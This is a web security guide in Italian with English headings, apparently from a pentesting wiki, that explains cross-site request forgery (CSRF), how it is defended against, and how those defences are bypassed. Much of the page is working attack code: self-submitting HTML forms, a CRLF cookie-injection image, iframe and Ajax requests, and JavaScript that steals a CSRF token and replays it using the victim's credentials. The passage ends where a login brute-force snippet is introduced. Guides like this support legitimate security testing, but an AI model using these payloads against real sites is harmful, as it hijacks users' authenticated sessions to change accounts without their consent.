Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!
Hacking Insights
Engage with content that delves into the thrill and challenges of hacking
Real-Time Hack News
Keep up-to-date with fast-paced hacking world through real-time news and insights
Latest Announcements
Stay informed with the newest bug bounties launching and crucial platform updates
Join us onDiscord and start collaborating with top hackers today!
Cross-Site Request Forgery (CSRF) Explained
Cross-Site Request Forgery (CSRF) è un tipo di vulnerabilità di sicurezza presente nelle applicazioni web. Consente agli attaccanti di eseguire azioni per conto di utenti ignari sfruttando le loro sessioni autenticate. L'attacco viene eseguito quando un utente, che è connesso a una piattaforma vittima, visita un sito malevolo. Questo sito attiva quindi richieste all'account della vittima attraverso metodi come l'esecuzione di JavaScript, l'invio di moduli o il recupero di immagini.
Prerequisites for a CSRF Attack
Per sfruttare una vulnerabilità CSRF, devono essere soddisfatte diverse condizioni:
Identificare un'azione preziosa: L'attaccante deve trovare un'azione degna di sfruttamento, come cambiare la password dell'utente, l'email o elevare i privilegi.
Gestione della sessione: La sessione dell'utente deve essere gestita esclusivamente tramite cookie o l'intestazione di autenticazione di base HTTP, poiché altre intestazioni non possono essere manipolate a questo scopo.
Assenza di parametri imprevedibili: La richiesta non dovrebbe contenere parametri imprevedibili, poiché possono impedire l'attacco.
Quick Check
Puoi catturare la richiesta in Burp e controllare le protezioni CSRF e per testare dal browser puoi cliccare su Copia come fetch e controllare la richiesta:
Defending Against CSRF
Possono essere implementate diverse contromisure per proteggere contro gli attacchi CSRF:
Verifica dell'utente: Richiedere la password dell'utente o risolvere un captcha può confermare l'intento dell'utente.
Controllo delle intestazioni Referrer o Origin: Validare queste intestazioni può aiutare a garantire che le richieste provengano da fonti affidabili. Tuttavia, una creazione attenta degli URL può eludere controlli mal implementati, come:
Utilizzare http://mal.net?orig=http://example.com (l'URL termina con l'URL fidato)
Utilizzare http://example.com.mal.net (l'URL inizia con l'URL fidato)
Modifica dei nomi dei parametri: Alterare i nomi dei parametri nelle richieste POST o GET può aiutare a prevenire attacchi automatizzati.
Token CSRF: Incorporare un token CSRF unico in ogni sessione e richiedere questo token nelle richieste successive può ridurre significativamente il rischio di CSRF. L'efficacia del token può essere migliorata imponendo CORS.
Comprendere e implementare queste difese è cruciale per mantenere la sicurezza e l'integrità delle applicazioni web.
Defences Bypass
From POST to GET
Forse il modulo che vuoi abusare è preparato per inviare una richiesta POST con un token CSRF ma, dovresti controllare se un GET è anche valido e se quando invii una richiesta GET il token CSRF viene ancora convalidato.
Lack of token
Le applicazioni potrebbero implementare un meccanismo per convalidare i token quando sono presenti. Tuttavia, si verifica una vulnerabilità se la convalida viene completamente saltata quando il token è assente. Gli attaccanti possono sfruttare questo rimuovendo il parametro che trasporta il token, non solo il suo valore. Questo consente loro di eludere il processo di convalida e condurre efficacemente un attacco Cross-Site Request Forgery (CSRF).
CSRF token is not tied to the user session
Le applicazioni che non legano i token CSRF alle sessioni utente presentano un significativo rischio di sicurezza. Questi sistemi verificano i token rispetto a un pool globale piuttosto che garantire che ogni token sia legato alla sessione iniziante.
Ecco come gli attaccanti sfruttano questo:
Autenticarsi utilizzando il proprio account.
Ottenere un token CSRF valido dal pool globale.
Utilizzare questo token in un attacco CSRF contro una vittima.
Questa vulnerabilità consente agli attaccanti di effettuare richieste non autorizzate per conto della vittima, sfruttando il meccanismo di convalida del token inadeguato dell'applicazione.
Method bypass
Se la richiesta utilizza un "metodo strano", controlla se la funzionalità di override del metodo funziona. Ad esempio, se sta utilizzando un metodo PUT puoi provare a utilizzare un metodo POST e inviare: https://example.com/my/dear/api/val/num?_method=PUT
Questo potrebbe funzionare anche inviando il parametro _method all'interno di una richiesta POST o utilizzando le intestazioni:
X-HTTP-Method
X-HTTP-Method-Override
X-Method-Override
Custom header token bypass
Se la richiesta aggiunge un intestazione personalizzata con un token alla richiesta come metodo di protezione CSRF, allora:
Testa la richiesta senza il Token Personalizzato e anche l'intestazione.
Testa la richiesta con esattamente la stessa lunghezza ma un token diverso.
CSRF token is verified by a cookie
Le applicazioni possono implementare la protezione CSRF duplicando il token sia in un cookie che in un parametro di richiesta o impostando un cookie CSRF e verificando se il token inviato nel backend corrisponde al cookie. L'applicazione convalida le richieste controllando se il token nel parametro di richiesta si allinea con il valore nel cookie.
Tuttavia, questo metodo è vulnerabile agli attacchi CSRF se il sito web presenta difetti che consentono a un attaccante di impostare un cookie CSRF nel browser della vittima, come una vulnerabilità CRLF. L'attaccante può sfruttare questo caricando un'immagine ingannevole che imposta il cookie, seguita dall'inizio dell'attacco CSRF.
Di seguito è riportato un esempio di come potrebbe essere strutturato un attacco:
<html><!-- CSRF Proof of Concept - generated by Burp Suite Professional --><body><script>history.pushState('','','/')</script><formaction="https://example.com/my-account/change-email"method="POST"><inputtype="hidden"name="email"value="asd@asd.asd" /><inputtype="hidden"name="csrf"value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" /><inputtype="submit"value="Submit request" /></form><img src="https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" onerror="document.forms[0].submit();"/>
</body></html>
Nota che se il token csrf è correlato con il cookie di sessione, questo attacco non funzionerà perché dovrai impostare la sessione della vittima, e quindi stai attaccando te stesso.
Modifica del Content-Type
Secondo questo, per evitare richieste preflight utilizzando il metodo POST, questi sono i valori di Content-Type consentiti:
application/x-www-form-urlencoded
multipart/form-data
text/plain
Tuttavia, nota che la logica dei server può variare a seconda del Content-Type utilizzato, quindi dovresti provare i valori menzionati e altri come application/json,text/xml, application/xml.
Esempio (da qui) di invio di dati JSON come text/plain:
Quando si tenta di inviare dati JSON tramite una richiesta POST, utilizzare Content-Type: application/json in un modulo HTML non è direttamente possibile. Allo stesso modo, utilizzare XMLHttpRequest per inviare questo tipo di contenuto avvia una richiesta preflight. Tuttavia, ci sono strategie per potenzialmente aggirare questa limitazione e verificare se il server elabora i dati JSON indipendentemente dal Content-Type:
Usa Tipi di Contenuto Alternativi: Impiega Content-Type: text/plain o Content-Type: application/x-www-form-urlencoded impostando enctype="text/plain" nel modulo. Questo approccio verifica se il backend utilizza i dati indipendentemente dal Content-Type.
Modifica il Tipo di Contenuto: Per evitare una richiesta preflight garantendo che il server riconosca il contenuto come JSON, puoi inviare i dati con Content-Type: text/plain; application/json. Questo non attiva una richiesta preflight ma potrebbe essere elaborato correttamente dal server se è configurato per accettare application/json.
Utilizzo di File SWF Flash: Un metodo meno comune ma fattibile prevede l'uso di un file SWF flash per aggirare tali restrizioni. Per una comprensione approfondita di questa tecnica, fai riferimento a questo post.
Bypassare il Controllo del Referrer / Origin
Evitare l'intestazione Referrer
Le applicazioni possono convalidare l'intestazione 'Referer' solo quando è presente. Per impedire a un browser di inviare questa intestazione, è possibile utilizzare il seguente tag meta HTML:
<metaname="referrer"content="never">
Questo assicura che l'intestazione 'Referer' venga omessa, potenzialmente eludendo i controlli di validazione in alcune applicazioni.
Per impostare il nome di dominio del server nell'URL che il Referrer invierà all'interno dei parametri, puoi fare:
<html><!-- Referrer policy needed to send the qury parameter in the referrer --><head><metaname="referrer"content="unsafe-url"></head><body><script>history.pushState('','','/')</script><formaction="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email"method="POST"><inputtype="hidden"name="email"value="asd@asd.asd" /><inputtype="submit"value="Submit request" /></form><script>// You need to set this or the domain won't appear in the query of the referer headerhistory.pushState("","","?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net")document.forms[0].submit();</script></body></html>
Metodo HEAD bypass
La prima parte di questo CTF writeup spiega che il codice sorgente di Oak, un router, è impostato per gestire le richieste HEAD come richieste GET senza corpo di risposta - un comune workaround che non è unico per Oak. Invece di un gestore specifico che si occupa delle richieste HEAD, vengono semplicemente date al gestore GET ma l'app rimuove solo il corpo della risposta.
Pertanto, se una richiesta GET è limitata, puoi semplicemente inviare una richiesta HEAD che sarà elaborata come una richiesta GET.
Esempi di Exploit
Esfiltrazione del Token CSRF
Se un token CSRF viene utilizzato come difesa, puoi provare a esfiltrarlo abusando di una vulnerabilità XSS o di una vulnerabilità Dangling Markup.
GET utilizzando tag HTML
<imgsrc="http://google.es?param=VALUE"style="display:none" /><h1>404 - Page not found</h1>The URL you are requesting is no longer available
Altri tag HTML5 che possono essere utilizzati per inviare automaticamente una richiesta GET sono:
<html><!-- CSRF PoC - generated by Burp Suite Professional --><body><script>history.pushState('','','/')</script><formmethod="GET"action="https://victim.net/email/change-email"><inputtype="hidden"name="email"value="some@email.com" /><inputtype="submit"value="Submit request" /></form><script>document.forms[0].submit();</script></body></html>
Richiesta POST del modulo
<html><body><script>history.pushState('','','/')</script><formmethod="POST"action="https://victim.net/email/change-email"id="csrfform"><input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" /> <!-- Way 1 to autosubmit -->
<inputtype="submit"value="Submit request" /><imgsrc=xonerror="csrfform.submit();" /> <!-- Way 2 to autosubmit --></form><script>document.forms[0].submit(); //Way 3 to autosubmit</script></body></html>
Richiesta POST del modulo tramite iframe
<!--The request is sent through the iframe withuot reloading the page--><html><body><iframestyle="display:none"name="csrfframe"></iframe><formmethod="POST"action="/change-email"id="csrfform"target="csrfframe"><inputtype="hidden"name="email"value="some@email.com"autofocusonfocus="csrfform.submit();" /><inputtype="submit"value="Submit request" /></form><script>document.forms[0].submit();</script></body></html>
Richiesta POST Ajax
<script>var xh;if (window.XMLHttpRequest){// code for IE7+, Firefox, Chrome, Opera, Safarixh=newXMLHttpRequest();}else{// code for IE6, IE5xh=newActiveXObject("Microsoft.XMLHTTP");}xh.withCredentials =true;xh.open("POST","http://challenge01.root-me.org/web-client/ch22/?action=profile");xh.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on");</script><script>//JQuery version$.ajax({type:"POST",url:"https://google.com",data:"param=value¶m2=value2"})</script>
<--! expl.html --><bodyonload="envia()"><formmethod="POST"id="formulario"action="http://aplicacion.example.com/cambia_pwd.php"><inputtype="text"id="pwd"name="pwd"value="otra nueva"></form><body><script>functionenvia(){document.getElementById("formulario").submit();}</script><!-- public.html --><iframesrc="2-1.html"style="position:absolute;top:-5000"></iframe><h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
Rubare il token CSRF e inviare una richiesta POST
functionsubmitFormWithTokenJS(token) {var xhr =newXMLHttpRequest();xhr.open("POST",POST_URL,true);xhr.withCredentials =true;// Send the proper header information along with the requestxhr.setRequestHeader("Content-type","application/x-www-form-urlencoded");// This is for debugging and can be removedxhr.onreadystatechange=function() {if(xhr.readyState ===XMLHttpRequest.DONE&&xhr.status ===200) {//console.log(xhr.responseText);}}xhr.send("token="+ token +"&otherparama=heyyyy");}functiongetTokenJS() {var xhr =newXMLHttpRequest();// This tels it to return it as a HTML documentxhr.responseType ="document";xhr.withCredentials =true;// true on the end of here makes the call asynchronousxhr.open("GET",GET_URL,true);xhr.onload=function (e) {if (xhr.readyState ===XMLHttpRequest.DONE&&xhr.status ===200) {// Get the document from the responsepage =xhr.response// Get the input elementinput =page.getElementById("token");// Show the token//console.log("The token is: " + input.value);// Use the token to submit the formsubmitFormWithTokenJS(input.value);}};// Make the requestxhr.send(null);}varGET_URL="http://google.com?param=VALUE"varPOST_URL="http://google.com?param=VALUE"getTokenJS();
Rubare il token CSRF e inviare una richiesta Post utilizzando un iframe, un modulo e Ajax
Il codice può essere utilizzato per forzare un modulo di accesso utilizzando un token CSRF (utilizza anche l'intestazione X-Forwarded-For per cercare di bypassare un possibile blacklist IP):